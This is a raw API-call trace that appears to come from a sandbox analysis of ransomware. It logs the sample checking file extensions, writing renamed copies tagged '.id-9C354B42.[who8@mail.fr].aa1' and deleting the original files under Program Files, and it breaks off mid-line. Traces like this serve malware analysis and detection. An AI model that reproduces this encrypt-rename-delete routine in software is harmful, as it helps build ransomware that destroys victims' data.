[0224.717] lstrlenW (lpString=".jpg") returned 4 [0224.717] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.717] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0224.717] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0224.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.725] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=33479) returned 1 [0224.725] CloseHandle (hObject=0x208) returned 1 [0224.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0224.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.725] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.725] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0224.726] GetLastError () returned 0x0 [0224.726] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x82c7, lpOverlapped=0x0) returned 1 [0224.791] WriteFile (in: hFile=0x1fc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x82d0, lpOverlapped=0x0) returned 1 [0224.792] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.793] WriteFile (in: hFile=0x1fc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.793] SetEndOfFile (hFile=0x1fc) returned 1 [0224.793] CloseHandle (hObject=0x1fc) returned 1 [0224.793] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.793] SetEndOfFile (hFile=0x208) returned 1 [0224.794] CloseHandle (hObject=0x208) returned 1 [0224.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.794] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 1 [0224.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0224.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0224.795] lstrlenW (lpString=".doc") returned 4 [0224.795] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.795] lstrlenW (lpString=".docx") returned 5 [0224.795] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.795] lstrlenW (lpString=".pdf") returned 4 [0224.795] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.795] lstrlenW (lpString=".xls") returned 4 [0224.795] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.795] lstrlenW (lpString=".xlsx") returned 5 [0224.795] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.795] lstrlenW (lpString=".ppt") returned 4 [0224.795] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0224.795] lstrlenW (lpString=".zip") returned 4 [0224.795] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.795] lstrlenW (lpString=".rar") returned 4 [0224.795] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.795] lstrlenW (lpString=".bz2") returned 4 [0224.795] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.795] lstrlenW (lpString=".7z") returned 3 [0224.796] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0224.796] lstrlenW (lpString=".dbf") returned 4 [0224.796] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0224.796] lstrlenW (lpString=".1cd") returned 4 [0224.796] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0224.796] lstrlenW (lpString=".jpg") returned 4 [0224.796] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0224.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0224.796] lstrlenW (lpString=".doc") returned 4 [0224.796] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.796] lstrlenW (lpString=".docx") returned 5 [0224.796] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.796] lstrlenW (lpString=".pdf") returned 4 [0224.796] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.796] lstrlenW (lpString=".xls") returned 4 [0224.796] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.796] lstrlenW (lpString=".xlsx") returned 5 [0224.796] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.796] lstrlenW (lpString=".ppt") returned 4 [0224.796] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0224.796] lstrlenW (lpString=".zip") returned 4 [0224.797] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.797] lstrlenW (lpString=".rar") returned 4 [0224.797] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.797] lstrlenW (lpString=".bz2") returned 4 [0224.797] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.797] lstrlenW (lpString=".7z") returned 3 [0224.797] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0224.797] lstrlenW (lpString=".dbf") returned 4 [0224.797] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0224.797] lstrlenW (lpString=".1cd") returned 4 [0224.797] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0224.797] lstrlenW (lpString=".jpg") returned 4 [0224.797] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.797] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0224.797] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0224.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.798] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1675) returned 1 [0224.798] CloseHandle (hObject=0x208) returned 1 [0224.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0224.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.798] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.798] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0225.122] GetLastError () returned 0x0 [0225.122] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x68b, lpOverlapped=0x0) returned 1 [0225.124] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x690, lpOverlapped=0x0) returned 1 [0225.125] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.125] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0225.125] SetEndOfFile (hFile=0x1b0) returned 1 [0225.125] CloseHandle (hObject=0x1b0) returned 1 [0225.125] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.125] SetEndOfFile (hFile=0x208) returned 1 [0225.126] CloseHandle (hObject=0x208) returned 1 [0225.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.127] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 1 [0225.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0225.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0225.127] lstrlenW (lpString=".doc") returned 4 [0225.127] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0225.127] lstrlenW (lpString=".docx") returned 5 [0225.127] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0225.127] lstrlenW (lpString=".pdf") returned 4 [0225.127] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0225.127] lstrlenW (lpString=".xls") returned 4 [0225.127] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0225.127] lstrlenW (lpString=".xlsx") returned 5 [0225.127] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0225.127] lstrlenW (lpString=".ppt") returned 4 [0225.127] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0225.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0225.127] lstrlenW (lpString=".zip") returned 4 [0225.127] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0225.127] lstrlenW (lpString=".rar") returned 4 [0225.127] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0225.127] lstrlenW (lpString=".bz2") returned 4 [0225.128] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0225.128] lstrlenW (lpString=".7z") returned 3 [0225.128] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0225.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0225.128] lstrlenW (lpString=".dbf") returned 4 [0225.128] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0225.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0225.128] lstrlenW (lpString=".1cd") returned 4 [0225.128] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0225.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0225.128] lstrlenW (lpString=".jpg") returned 4 [0225.128] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0225.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0225.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0225.128] lstrlenW (lpString=".doc") returned 4 [0225.128] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0225.128] lstrlenW (lpString=".docx") returned 5 [0225.128] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0225.128] lstrlenW (lpString=".pdf") returned 4 [0225.128] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0225.128] lstrlenW (lpString=".xls") returned 4 [0225.128] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0225.128] lstrlenW (lpString=".xlsx") returned 5 [0225.128] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0225.128] lstrlenW (lpString=".ppt") returned 4 [0225.128] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0225.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0225.128] lstrlenW (lpString=".zip") returned 4 [0225.128] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0225.129] lstrlenW (lpString=".rar") returned 4 [0225.129] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0225.129] lstrlenW (lpString=".bz2") returned 4 [0225.129] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0225.129] lstrlenW (lpString=".7z") returned 3 [0225.129] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0225.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0225.129] lstrlenW (lpString=".dbf") returned 4 [0225.129] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0225.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0225.129] lstrlenW (lpString=".1cd") returned 4 [0225.129] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0225.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0225.129] lstrlenW (lpString=".jpg") returned 4 [0225.129] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0225.130] lstrcmpiW (lpString1=".CHM", lpString2=".aa1") returned 1 [0225.130] lstrlenW (lpString="VBCN6.CHM") returned 9 [0225.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.130] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=109718) returned 1 [0225.130] CloseHandle (hObject=0x208) returned 1 [0225.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0225.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.131] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.131] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0225.131] GetLastError () returned 0x0 [0225.131] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x1ac96, lpOverlapped=0x0) returned 1 [0225.139] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1aca0, lpOverlapped=0x0) returned 1 [0225.142] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.142] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0225.142] SetEndOfFile (hFile=0x1b0) returned 1 [0225.142] CloseHandle (hObject=0x1b0) returned 1 [0225.142] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.142] SetEndOfFile (hFile=0x208) returned 1 [0225.144] CloseHandle (hObject=0x208) returned 1 [0225.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.144] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 1 [0225.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0225.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0225.145] lstrlenW (lpString=".doc") returned 4 [0225.145] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0225.145] lstrlenW (lpString=".docx") returned 5 [0225.145] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0225.145] lstrlenW (lpString=".pdf") returned 4 [0225.145] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0225.145] lstrlenW (lpString=".xls") returned 4 [0225.145] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0225.145] lstrlenW (lpString=".xlsx") returned 5 [0225.145] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0225.145] lstrlenW (lpString=".ppt") returned 4 [0225.145] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0225.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0225.145] lstrlenW (lpString=".zip") returned 4 [0225.145] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0225.145] lstrlenW (lpString=".rar") returned 4 [0225.145] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0225.145] lstrlenW (lpString=".bz2") returned 4 [0225.145] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0225.145] lstrlenW (lpString=".7z") returned 3 [0225.146] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0225.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0225.146] lstrlenW (lpString=".dbf") returned 4 [0225.146] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0225.146] lstrlenW (lpString=".1cd") returned 4 [0225.146] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0225.146] lstrlenW (lpString=".jpg") returned 4 [0225.146] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0225.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0225.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0225.146] lstrlenW (lpString=".doc") returned 4 [0225.146] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0225.146] lstrlenW (lpString=".docx") returned 5 [0225.146] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0225.146] lstrlenW (lpString=".pdf") returned 4 [0225.146] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0225.146] lstrlenW (lpString=".xls") returned 4 [0225.146] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0225.146] lstrlenW (lpString=".xlsx") returned 5 [0225.146] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0225.146] lstrlenW (lpString=".ppt") returned 4 [0225.146] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0225.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0225.147] lstrlenW (lpString=".zip") returned 4 [0225.147] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0225.147] lstrlenW (lpString=".rar") returned 4 [0225.147] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0225.147] lstrlenW (lpString=".bz2") returned 4 [0225.147] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0225.147] lstrlenW (lpString=".7z") returned 3 [0225.147] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0225.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0225.147] lstrlenW (lpString=".dbf") returned 4 [0225.147] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0225.147] lstrlenW (lpString=".1cd") returned 4 [0225.147] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.147] lstrlenW (lpString="C:\\Program 